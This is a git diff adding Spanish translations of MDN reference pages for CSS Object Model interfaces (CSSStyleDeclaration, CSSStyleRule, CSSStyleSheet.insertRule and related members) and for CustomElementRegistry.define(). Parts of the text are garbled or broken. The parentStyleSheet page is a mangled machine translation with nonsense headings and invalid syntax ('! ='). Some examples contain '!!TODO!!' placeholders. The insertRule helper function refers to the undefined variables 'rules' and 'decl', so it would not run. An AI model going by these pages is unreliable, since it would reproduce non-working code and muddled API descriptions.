index 0000000000..f66c603137
--- /dev/null
+++ b/files/es/web/api/cssrule/parentstylesheet/index.html
@@ -0,0 +1,27 @@
+---
+title: cssRule.parentStyleSheet
+slug: Web/API/CSSRule/parentStyleSheet
+translation_of: Web/API/CSSRule/parentStyleSheet
+---
+<div>
+ {{APIRef}}</div>
+<div>
+  </div>
+<p><span style="font-size: 1.71428571428571rem; letter-spacing: -0.5px; line-height: 24px;">Summary</span></p>
+<p><strong><font><font>parentStyleSheet</font></font></strong><font><font> returns the object type of style sheet, in which the rule is defined.</font></font></p>
+<h3 id="Syntax" name="Syntax"><font><font>Syntax</font></font></h3>
+<pre class="eval"><em><font><font>stylesheet</font></font></em> = cssRule.parentStyleSheet
+</pre>
+<h3 id="Parameters" name="Parameters"><font><font>Parameters</font></font></h3>
+<ul>
+ <li><code><font><font>stylesheet</font></font></code><font><font> stylesheet is an object type.</font></font></li>
+</ul>
+<h3 id="Example" name="Example"><font><font>Instance</font></font></h3>
+<pre class="eval">if (bgRule.parentStyleSheet! = MySheet) {
+   // Style alien rule!
+}
+</pre>
+<h3 id="Notes" name="Notes"><font><font>Letters</font></font></h3>
+<p><font><font>See </font></font><a href="/es/DOM/event#DOM_styleSheet_Object" title="en / DOM / event # DOM_styleSheet_Object"><font><font>Gecko DOM Reference: event # DOM_styleSheet_Object</font></font></a><font><font> for more information about the interface type objects stylesheet.</font></font></p>
+<h3 id="Specification" name="Specification"><font><font>Specification</font></font></h3>
+<p><font><font>DOM Level 2 Style - cssRule</font></font></p>
diff --git a/files/es/web/api/cssstyledeclaration/index.html b/files/es/web/api/cssstyledeclaration/index.html
new file mode 100644
index 0000000000..f63d7a2cfd
--- /dev/null
+++ b/files/es/web/api/cssstyledeclaration/index.html
@@ -0,0 +1,73 @@
+---
+title: CSSStyleDeclaration
+slug: Web/API/CSSStyleDeclaration
+tags:
+  - Interfaz
+  - Referencia
+translation_of: Web/API/CSSStyleDeclaration
+---
+<p>{{ APIRef("CSSOM") }}</p>
+
+<h2 id="Summary" name="Summary">Resúmen</h2>
+
+<p><code>CSSStyleDeclaration</code> representa una colección CSS de pares propiedad-valor. Se utiliza en unas cuantas APIs:</p>
+
+<ul>
+ <li>{{domxref("HTMLElement.style")}} - para manipular el estilo de un solo elemento (&lt;elem style="..."&gt;);</li>
+ <li>En otras palabras, es un interface para los <a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/syndata.html#block">bloques de declaraciones</a> devueltos por la propiedad <code><a href="/en/DOM/cssRule.style" rel="internal" title="en/DOM/cssRule.style">style</a></code> de una <code><a href="/en/DOM/cssRule" rel="internal" title="en/DOM/cssRule">regla CSS</a></code> en una <a href="/en/DOM/stylesheet" rel="internal" title="en/DOM/stylesheet">hoja de estilos</a>, cuando la regla es una <a href="/en/DOM/cssRule#CSSStyleRule" title="en/DOM/cssRule#CSSStyleRule">CSSStyleRule</a>.</li>
+ <li><code>CSSStyleDeclaration</code> es también un interface de <strong>sólo-lectura</strong> para el resultado de <a href="/en/DOM/window.getComputedStyle" title="en/DOM/window.getComputedStyle">window.getComputedStyle</a>().</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">Atributos</h2>
+
+<dl>
+ <dt>{{domxref("CSSStyleDeclaration.cssText")}}</dt>
+ <dd>Representación textual del bloque de declaración. Estableciendo este atributo cambia el estilo.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.length")}}</dt>
+ <dd>El número de propiedades. Ver el método del <strong>elemento</strong> inferior.</dd>
+ <dt>{{domxref("CSSStyleDeclaration.parentRule")}}</dt>
+ <dd>El contenedor {{domxref("CssRule")}}.</dd>
+</dl>
+
+<h2 id="Syntax" name="Syntax">Métodos</h2>
+
+<dl>
+ <dt>{{domxref("CSSStyleDeclaration.getPropertyPriority()")}}</dt>
+ <dd>Retorna la prioridad opcional, "important". Ejemplo: <em>priString</em>= <em>styleObj</em>.getPropertyPriority('color')</dd>
+ <dt>{{domxref("CSSStyleDeclaration.getPropertyValue()")}}</dt>
+ <dd>Retorna el valor de la propiedad. Ejemplo: <em>valString</em>= <em>styleObj</em>.getPropertyValue('color')</dd>
+ <dt>{{domxref("CSSStyleDeclaration.item()")}}</dt>
+ <dd>Retorna un nombre de propiedad. Ejemplo: <em>nameString</em>= <em>styleObj</em>.item(0) Alternative: <em>nameString</em>= <em>styleObj</em>[0]</dd>
+ <dt>{{domxref("CSSStyleDeclaration.removeProperty()")}}</dt>
+ <dd>Retorna el valor borrado. Ejemplo: <em>valString</em>= <em>styleObj</em>.removeProperty('color')</dd>
+ <dt>{{domxref("CSSStyleDeclaration.setProperty()")}}</dt>
+ <dd>Sin retorno. Ejemplo: <em>styleObj</em>.setProperty('color', 'red', 'important')</dd>
+ <dt>{{domxref("CSSStyleDeclaration.getPropertyCSSValue()")}}</dt>
+ <dd><span style="color: rgb(255, 0, 0);">Solo soportado a través de getComputedStyle.</span> Devuelve un {{ domxref("ROCSSPrimitiveValue") }} en Firefox ({{ domxref("CSSPrimitiveValue") }}, en otros, los cuales implementan <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSValue" title="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSValue">CSSValue</a>), o nulo para <a href="/en/CSS/Shorthand_properties" title="en/Guide to Shorthand CSS">Propiedades taquigráficas</a>. Ejemplo: <em>cssString</em>= window.getComputedStyle(<em>elemento</em>, <code>null</code>).getPropertyCSSValue('color').cssText;<br>
+ Observación: Gecko 1.9 devuelve <strong>null </strong>a menos que se utilice <a href="/en/DOM/window.getComputedStyle" title="en/DOM/window.getComputedStyle">getComputedStyle()</a>.<br>
+ Observación: Este método puede estar <a class="external" href="http://lists.w3.org/Archives/Public/www-style/2003Oct/0347.html" title="http://lists.w3.org/Archives/Public/www-style/2003Oct/0347.html">desaconsejado por el W3C</a> , y no está presente en el último <a href="http://dev.w3.org/csswg/cssom/#cssstyledeclaration" title="http://dev.w3.org/csswg/cssom/#cssstyledeclaration">borrador CSSOM</a>. No está soportado por IE e incluso aunque la función existe en Opera, llamarla lanza una excepción {{ domxref("DOMException") }} NOT_SUPPORTED_ERR.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: js">var styleObj= document.styleSheets[0].cssRules[0].style;
+alert(styleObj.cssText);
+for (var i = styleObj.length-1; i &gt;= 0; i--) {
+   var nameString = styleObj[i];
+   styleObj.removeProperty(nameString);
+}
+alert(styleObj.cssText);</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>El bloque de declaración es esa parte de la regla de estilo que aparece dentro de las llaves ({}) y que actualmente proporciona las definiciones de estilo (para el selector, la parte que precede a las llaves).</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Properties_Reference" title="/en-US/docs/Web/CSS/CSS_Properties_Reference">Propiedades DOM CSS</a></li>
+</ul>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<p><a class="external" href="http://dev.w3.org/csswg/cssom/#the-cssstyledeclaration-interface">CSSOM: CSSStyleDeclaration</a></p>
diff --git a/files/es/web/api/cssstylerule/index.html b/files/es/web/api/cssstylerule/index.html
new file mode 100644
index 0000000000..1026c9af82
--- /dev/null
+++ b/files/es/web/api/cssstylerule/index.html
@@ -0,0 +1,105 @@
+---
+title: CSSStyleRule
+slug: Web/API/CSSStyleRule
+tags:
+  - API
+translation_of: Web/API/CSSStyleRule
+---
+<p>{{ APIRef("CSSOM") }}</p>
+
+<p><strong><code>CSSStyleRule</code></strong> representa una sola regla de estilos CSS. Implementa la interfaz {{domxref("CSSRule")}} with a type value of <code>1</code> (<code>CSSRule.STYLE_RULE</code>).</p>
+
+<h2 id="Properties" name="Properties">Sintaxis</h2>
+
+<p>La sintaxis es descrita usando el formato <a class="external" href="http://dev.w3.org/2006/webapi/WebIDL/" title="http://dev.w3.org/2006/webapi/WebIDL/">WebIDL</a>.</p>
+
+<pre>interface CSSStyleRule : CSSRule {
+    attribute DOMString selectorText;
+    readonly attribute CSSStyleDeclaration style;
+};</pre>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt id="selectorText">{{domxref("CSSStyleRule.selectorText")}}</dt>
+ <dd>Obtiene la representación textual del selector para esta regla, e.g. <code>"h1,h2"</code>.</dd>
+ <dt id="style">{{domxref("CSSStyleRule.style")}} {{readonlyinline}}</dt>
+ <dd>Retorna el objeto {{domxref("CSSStyleDeclaration")}} para la regla. <strong>Sólo lectura.</strong></dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM', '#the-cssstylerule-interface', 'CSSStyleRule') }}</td>
+   <td>{{ Spec2('CSSOM') }}</td>
+   <td>Sin cambios</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('DOM2 Style', 'css.html#CSS-CSSStyleRule', 'CSSRule') }}</td>
+   <td>{{ Spec2('DOM2 Style') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_Navegadores">Compatibilidad entre Navegadores</h2>
+
+<p>Para obtener informacion de compatibilidad en los distintos navegadores, por favor consulta la tabla de compatibilidad de la interfaz asociada.</p>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}<br>
+     </td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/api/cssstylerule/selectortext/index.html b/files/es/web/api/cssstylerule/selectortext/index.html
new file mode 100644
index 0000000000..56dec42a94
--- /dev/null
+++ b/files/es/web/api/cssstylerule/selectortext/index.html
@@ -0,0 +1,23 @@
+---
+title: CssRule.selectorText
+slug: Web/API/CSSStyleRule/selectorText
+translation_of: Web/API/CSSStyleRule/selectorText
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Resumen</h3>
+<p><strong>selectorText</strong> recoge/establece la representación en forma de texto, del selector para el grupo de reglas.</p>
+<h3 id="Syntax" name="Syntax">Sintaxis</h3>
+<pre class="eval"><em>string</em> = cssRule.selectorText
+cssRule.selectorText = <em>string</em>
+</pre>
+<h3 id="Example" name="Example">Ejemplo</h3>
+<pre> // for cssrule: body { background-color: darkblue; }
+ cssrule = document.styleSheets[1]
+ !!TODO!!
+ selector = cssrule.selectorText;
+ // selector is now "body"
+</pre>
+<h3 id="Notes" name="Notes">Notas</h3>
+<p>La implementación puede haber eliminado espacios en blanco no significativos, en el momento de comprobar el selector.</p>
+<h3 id="Specification" name="Specification">Especificación</h3>
+<p>DOM Level 2 Style - cssRule</p>
diff --git a/files/es/web/api/cssstylesheet/deleterule/index.html b/files/es/web/api/cssstylesheet/deleterule/index.html
new file mode 100644
index 0000000000..f11a905d98
--- /dev/null
+++ b/files/es/web/api/cssstylesheet/deleterule/index.html
@@ -0,0 +1,21 @@
+---
+title: Stylesheet.deleteRule
+slug: Web/API/CSSStyleSheet/deleteRule
+translation_of: Web/API/CSSStyleSheet/deleteRule
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Resumen</h3>
+<p>El método <strong>deleteRule</strong> elimina una regla de la hoja de estilos actual.</p>
+<h3 id="Syntax" name="Syntax">Sintaxis</h3>
+<pre class="eval">stylesheet.deleteRule(<em>index</em>)
+</pre>
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+<ul>
+ <li><code>index</code> es un numero de tipo long, que indica la posición de la regla.</li>
+</ul>
+<h3 id="Example" name="Example">Ejemplo</h3>
+<pre> myStyles.deleteRule(0);
+</pre>
+<h3 id="Specification" name="Specification">Especificación</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/css.html#CSS-CSSStyleSheet-deleteRule">deleteRule </a></p>
+<p>{{ languages( { "pl": "pl/DOM/stylesheet.deleteRule" } ) }}</p>
diff --git a/files/es/web/api/cssstylesheet/index.html b/files/es/web/api/cssstylesheet/index.html
new file mode 100644
index 0000000000..f9781136ae
--- /dev/null
+++ b/files/es/web/api/cssstylesheet/index.html
@@ -0,0 +1,64 @@
+---
+title: CSSStyleSheet
+slug: Web/API/CSSStyleSheet
+translation_of: Web/API/CSSStyleSheet
+---
+<p>{{ ApiRef() }}</p>
+<p> </p>
+<p>This section describes the <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleSheet">CSSStyleSheet</a> object, which represents a single CSS stylesheet.</p>
+<p>A CSS stylesheet consists of CSS rules, each of them can be manipulated through its <a href="/en/DOM/cssRule" title="en/DOM/cssRule">CSSRule</a> object. The stylesheet object itself lets you examine and modify the stylesheet, including its list of rules.</p>
+<p>You can get the list of stylesheets for a given document using the <a href="/en/DOM/document.styleSheets" title="en/DOM/document.styleSheets">document.styleSheets</a> property.</p>
+<h3 id="Properties" name="Properties">Properties</h3>
+<dl>
+ <dt>
+  <a href="/en/DOM/stylesheet.cssRules" title="en/DOM/stylesheet.cssRules">stylesheet.cssRules</a></dt>
+ <dd>
+  Returns all of the CSS rules in the stylesheet as an array.</dd>
+ <dt>
+  <a href="/en/DOM/stylesheet.disabled" title="en/DOM/stylesheet.disabled">stylesheet.disabled</a></dt>
+ <dd>
+  This property indicates whether the current stylesheet has been applied or not.</dd>
+ <dt>
+  <a href="/en/DOM/stylesheet.href" title="en/DOM/stylesheet.href">stylesheet.href</a></dt>
+ <dd>
+  Returns the location of the stylesheet.</dd>
+ <dt>
+  <a href="/en/DOM/stylesheet.media" title="en/DOM/stylesheet.media">stylesheet.media</a></dt>
+ <dd>
+  Specifies the intended destination medium for style information.</dd>
+ <dt>
+  <a href="/en/DOM/stylesheet.ownerNode" title="en/DOM/stylesheet.ownerNode">stylesheet.ownerNode</a></dt>
+ <dd>
+  Returns the node that associates this style sheet with the document.</dd>
+ <dt>
+  <a href="/en/DOM/stylesheet.ownerRule" title="en/DOM/stylesheet.ownerRule">stylesheet.ownerRule</a></dt>
+ <dd>
+  If this style sheet comes from an @import rule, the ownerRule property will contain the CSSImportRule.</dd>
+ <dt>
+  <a href="/en/DOM/stylesheet.parentStyleSheet" title="en/DOM/stylesheet.parentStyleSheet">stylesheet.parentStyleSheet</a></dt>
+ <dd>
+  Returns the stylesheet that is including this one, if any.</dd>
+ <dt>
+  <a href="/en/DOM/stylesheet.title" title="en/DOM/stylesheet.title">stylesheet.title</a></dt>
+ <dd>
+  Returns the advisory title of the current style sheet.</dd>
+ <dt>
+  <a href="/en/DOM/stylesheet.type" title="en/DOM/stylesheet.type">stylesheet.type</a></dt>
+ <dd>
+  Specifies the style sheet language for this style sheet.</dd>
+</dl>
+<h3 id="Methods" name="Methods">Methods</h3>
+<dl>
+ <dt>
+  <a href="/en/DOM/stylesheet.deleteRule" title="en/DOM/stylesheet.deleteRule">stylesheet.deleteRule</a></dt>
+ <dd>
+  Deletes a rule from the stylesheet.</dd>
+ <dt>
+  <a href="/en/DOM/stylesheet.insertRule" title="en/DOM/stylesheet.insertRule">stylesheet.insertRule</a></dt>
+ <dd>
+  Inserts a new style rule into the current style sheet.</dd>
+</dl>
+<h3 id="Specification" name="Specification">Specification</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/stylesheets.html#StyleSheets-StyleSheet">DOM Level 2 Style Sheets: StyleSheet</a></p>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleSheet">DOM Level 2 CSS: CSSStyleSheet</a></p>
+<p>{{ languages( { "pl": "pl/DOM/stylesheet" } ) }}</p>
diff --git a/files/es/web/api/cssstylesheet/insertrule/index.html b/files/es/web/api/cssstylesheet/insertrule/index.html
new file mode 100644
index 0000000000..ef0f3e522d
--- /dev/null
+++ b/files/es/web/api/cssstylesheet/insertrule/index.html
@@ -0,0 +1,119 @@
+---
+title: CSSStyleSheet.insertRule()
+slug: Web/API/CSSStyleSheet/insertRule
+tags:
+  - CSSStyleSheet
+translation_of: Web/API/CSSStyleSheet/insertRule
+---
+<div>
+ {{APIRef}}</div>
+<p><span style="color: rgb(77, 78, 83);">El método </span><code style="font-size: 14px; color: rgb(77, 78, 83);"><strong>CSSStyleSheet.insertRule()</strong></code><span style="color: rgb(77, 78, 83);"> inserta una nueva regla de estilo en la actual hoja de estilos.</span></p>
+<p><span style="color: rgb(77, 78, 83);">Para conjuntos de reglas ésta contiene tanto al selector como la declaración de estilo. Para reglas-arroba, ésta especifica tanto al identificador-arroba como como al contenido de la regla. Si se asignan varias reglas en el  </span>{{domxref("DOMString")}}<span style="color: rgb(77, 78, 83);"> como parámetro se dispara una </span><span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: normal;"> </span><span style="line-height: 1.5;">{{domxref("DOMException")}}</span><span style="line-height: 1.5;"> con el código </span><span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: normal;">SYNTAX_ERR</span><span style="line-height: 1.5;">.</span></p>
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+<pre class="syntaxbox"><var>stylesheet</var>.insertRule(<var>regla</var>, índice)</pre>
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+<ul>
+ <li><code>regla</code> es un {{domxref("DOMString")}} que contiene la regla que se va a insertar (selector y declaración).</li>
+ <li><font face="Courier New, Andale Mono, monospace"><span style="line-height: normal;">índice</span></font> es un <code>unsigned int</code> que representa la posicion en la que se va a insertar.</li>
+</ul>
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+<h3 id="Example_1" name="Example_1">Ejemplo 1</h3>
+<pre class="brush: js">// Insertar una nueva regla al principio de mi hoja de estilos
+myStyle.insertRule("#blanc { color: white }", 0);
+</pre>
+<h3 id="Example_2" name="Example_2">Example 2</h3>
+<pre class="brush: js">/**
+ * Agregar una regla de hoja de estilos al documento(sin embargo, una mejor práctica puede ser
+ * cambiar las clases dinamicamente, así se mantiene la información de estilo en
+ * hojas de estilo genuinas (evitando agregar elementos extras al DOM))
+ * Note que se necesita una matriz para las declaraciones y reglas ya que ECMAScript
+ * no proporciona un orden de iteración predecible y como CSS
+ * depende del <span style="line-height: normal;">orden</span><span style="line-height: normal;">(i.e., es cascada); aquellos sin necesidad de</span>
+ * reglas en cascada podrían construir una API basada en objetos de acceso más amigable.
+ * @param {Matriz} reglas. Acepta una matriz de  declaraciones JSON-encoded
+ * @example
+addStylesheetRules([
+  ['h2', // Acepta un segundo argumento como una matriz de matrices
+    ['color', 'red'],
+    ['background-color', 'green', true] // 'true' para reglas !important
+  ],
+  ['.myClass', ['background-color', 'yellow']
+  ]
+]);
+ */
+function addStylesheetRules (decls) {
+  var styleEl = document.createElement('style');
+  document.head.appendChild(styleEl);
+  // Aparentemente ¿alguna versión de Safari necesita la siguiente linea? No lo sé.
+  styleEl.appendChild(document.createTextNode(''));
+  var s = styleEl.sheet;
+  for (var i=0, rl = rules.length; i &lt; rl; i++) {
+    var j = 1, rule = rules[i], selector = decl[0], propStr = '';
+    // Si el segundo argumento de una regla es una matriz de matrices, corrijamos nuestras variables.
+    if (Object.prototype.toString.call(rule[1][0]) === '[object Array]') {
+      rule = rule[1];
+      j = 0;
+    }
+    for (var pl=rule.length; j &lt; pl; j++) {
+      var prop = rule[j];
+      propStr += prop[0] + ':' + prop[1] + (prop[2] ? ' !important' : '') + ';\n';
+    }
+    s.insertRule(selector + '{' + propStr + '}', s.cssRules.length);
+  }
+}</pre>
+<h2 id="Specification" name="Specification">Specification</h2>
+<ul>
+ <li><a href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/css.html#CSS-CSSStyleSheet-insertRule">insertRule </a></li>
+</ul>
+<h2 id="Browser_compatibility" style="line-height: 30px;">Browser compatibility</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th style="line-height: 16px;">Feature</th>
+    <th style="line-height: 16px;">Chrome</th>
+    <th style="line-height: 16px;">Firefox (Gecko)</th>
+    <th style="line-height: 16px;">Internet Explorer</th>
+    <th style="line-height: 16px;">Opera</th>
+    <th style="line-height: 16px;">Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>8</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th style="line-height: 16px;">Feature</th>
+    <th style="line-height: 16px;">Android</th>
+    <th style="line-height: 16px;">Chrome for Android</th>
+    <th style="line-height: 16px;">Firefox Mobile (Gecko)</th>
+    <th style="line-height: 16px;">IE Mobile</th>
+    <th style="line-height: 16px;">Opera Mobile</th>
+    <th style="line-height: 16px;">Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li><a href="/en-US/docs/Web/API/CSSStyleSheet/deleteRule"><code>deleteRule</code></a></li>
+</ul>
diff --git a/files/es/web/api/cssstylesheet/ownerrule/index.html b/files/es/web/api/cssstylesheet/ownerrule/index.html
new file mode 100644
index 0000000000..cd8c302ce3
--- /dev/null
+++ b/files/es/web/api/cssstylesheet/ownerrule/index.html
@@ -0,0 +1,19 @@
+---
+title: Stylesheet.ownerRule
+slug: Web/API/CSSStyleSheet/ownerRule
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Resumen</h3>
+<p>Si esta hoja de estilos viene de una regla <code>@import</code>, la propiedad <strong>ownerRule </strong>contendrá la CSSImportRule.</p>
+<h3 id="Syntax" name="Syntax">Sintaxis</h3>
+<pre class="eval"><em>rule</em> = stylesheet.ownerRule
+</pre>
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+<ul>
+ <li><code>rule</code> es una cadena que contiene la regla de importación en el documento HTML o XML.</li>
+</ul>
+<h3 id="Notes" name="Notes">Notas</h3>
+<p>Ten en cuenta que si el valor de la propiedad ownerNode en el elemento <a href="/es/DOM/element.style" title="es/DOM/element.style">STYLE</a> actual es NULL, el valor <strong>ownerRule </strong>devolverá !!TODO!! y viceversa.</p>
+<h3 id="Specification" name="Specification">Specification</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/css.html#CSS-CSSStyleSheet-ownerRule">ownerRule </a></p>
+<p>{{ languages( { "pl": "pl/DOM/stylesheet.ownerRule" } ) }}</p>
diff --git a/files/es/web/api/customelementregistry/define/index.html b/files/es/web/api/customelementregistry/define/index.html
new file mode 100644
index 0000000000..5ab2ecb1b9
--- /dev/null
+++ b/files/es/web/api/customelementregistry/define/index.html
@@ -0,0 +1,239 @@
+---
+title: CustomElementRegistry.define()
+slug: Web/API/CustomElementRegistry/define
+translation_of: Web/API/CustomElementRegistry/define
+---
+<p>{{APIRef("CustomElementRegistry")}}</p>
+
+<p>El método <code><strong>define()</strong></code> de la interfaz {{domxref("CustomElementRegistry")}} define un nuevo elemento personalizado.</p>
+
+<p>Se pueden crear dos tipos de elementos personalizados:</p>
+
+<ul>
+ <li><strong>Elementos personalizados autónomos</strong>: Elementos autónomos; estos heredan de HTMLElement  (Elemento HTML genérico).</li>
+ <li><strong>Elementos personalizados preconstruidos</strong>: Estos elementos heredan - y extienden - elementos HTML ya existentes (p.ej HTMLParagraphElement que es el elemento HTML <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/p" title="The HTML &lt;p> element represents a paragraph."><code>&lt;p&gt;</code></a>).</li>
+</ul>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">customElements.define(<em>name</em>, <em>constructor</em>, <em>options</em>);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt>name</dt>
+ <dd>Nombre del nuevo elemento personalizado. Fíjate en que los nombres de elementos personalizados deben contener un guión.</dd>
+ <dt>constructor</dt>
+ <dd>Constructor para el nuevo elemento personalizado</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Objecto que controla cómo se define el elemento. Actualmente solo se permite una opción:
+ <ul>
+  <li><code>extends</code>: Cadena que especifica el nombre del elemento preconstruido del cual se va a extender. Se usa para crear <em>elementos personalizados preconstruidos</em>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Void.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Excepción</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>NotSupportedError</code></td>
+   <td>El {{domxref("CustomElementRegistry")}} ya contiene una entrada con el mismo nombre o el mismo constructor (o se ha definido ya de alguna otra manera), o se ha especificado <code>extends</code> pero el elemento del que se está intentando extender es desconocido.</td>
+  </tr>
+  <tr>
+   <td><code>SyntaxError</code></td>
+   <td>El nombre proporcionado no es un <a href="https://html.spec.whatwg.org/multipage/custom-elements.html#valid-custom-element-name">nombre válido de elemento personalizado</a>.</td>
+  </tr>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>El constructor referenciado no es un constructor</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota</strong>: A menudo se obtienen excepciones <code>NotSupportedError</code>s cuando el método <code>define()</code> está fallando, pero realmente es un problema relacionado con {{domxref("Element.attachShadow()")}}.</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Elemento_personalizado_autónomo">Elemento personalizado autónomo</h3>
+
+<p>El siguiente código está tomado de nuestro ejemplo <a href="https://github.com/mdn/web-components-examples/tree/master/popup-info-box-web-component">popup-info-box-web-component</a>  (<a href="https://mdn.github.io/web-components-examples/popup-info-box-web-component/">verlo en vivo</a>).</p>
+
+<pre class="brush: js">// Crear una clase para el elemento
+class PopUpInfo extends HTMLElement {
+  constructor() {
+    // Siempre lo primero es llamar a super en el constructor
+    super();
+
+    // Crear una shadow root
+    var shadow = this.attachShadow({mode: 'open'});
+
+    // Crear tres elementos span
+    var wrapper = document.createElement('span');
+    wrapper.setAttribute('class','wrapper');
+
+    var icon = document.createElement('span');
+    icon.setAttribute('class','icon');
+    icon.setAttribute('tabindex', 0);
+
+    var info = document.createElement('span');
+    info.setAttribute('class','info');
+
+    // Coger el contenido del atributo text y ponerlo en el span info
+    var text = this.getAttribute('text');
+    info.textContent = text;
+
+    // Coger el contenido del atributo img (si existe) y ponerlo en el span icon
+    var imgUrl;
+    if(this.hasAttribute('img')) {
+      imgUrl = this.getAttribute('img');
+    } else {
+      imgUrl = 'img/default.png';
+    }
+
+    // El span no puede tener directamente una imagen, pero si contener un elemento img
+    var img = document.createElement('img');
+    img.src = imgUrl;
+    icon.appendChild(img);
+
+    // Crear los estilos CSS e incluirlos en el shadow DOM
+    var style = document.createElement('style');
+
+    style.textContent = '.wrapper {' +
+                           'position: relative;' +
+                        '}' +
+
+                         '.info {' +
+                            'font-size: 0.8rem;' +
+                            'width: 200px;' +
+                            'display: inline-block;' +
+                            'border: 1px solid black;' +
+                            'padding: 10px;' +
+                            'background: white;' +
+                            'border-radius: 10px;' +
+                            'opacity: 0;' +
+                            'transition: 0.6s all;' +
+                            'position: absolute;' +
+                            'bottom: 20px;' +
+                            'left: 10px;' +
+                            'z-index: 3;' +
+                          '}' +
+
+                          'img {' +
+                            'width: 1.2rem' +
+                          '}' +
+
+                          '.icon:hover + .info, .icon:focus + .info {' +
+                            'opacity: 1;' +
+                          '}';
+
+    // adjuntar los elementos creados (spans y estilo) al shadow DOM
+    // notese que el span wrapper contiene los spans icon e info
+
+    shadow.appendChild(style);
+    shadow.appendChild(wrapper);
+    wrapper.appendChild(icon);
+    wrapper.appendChild(info);
+  }
+}
+
+// Definir el nuevo elemento
+customElements.define('popup-info', PopUpInfo);
+</pre>
+
